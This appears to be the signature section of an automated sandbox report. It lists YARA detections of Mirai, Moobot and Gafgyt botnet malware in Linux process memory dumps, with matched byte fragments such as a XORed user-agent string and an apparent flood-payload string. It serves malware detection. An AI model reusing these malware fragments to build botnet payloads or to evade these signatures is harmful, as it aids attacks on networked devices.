6578.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6267.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6316.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6316.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6316.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6316.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6316.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6316.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6499.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6499.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6499.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6499.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6499.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6499.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7311.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7311.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7311.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7311.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7311.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7311.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6830.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6830.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6830.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6830.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6830.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6830.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6799.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6661.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6339.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7424.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6841.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6841.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6841.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6841.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6841.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6841.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7232.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7199.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7199.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7199.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7199.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
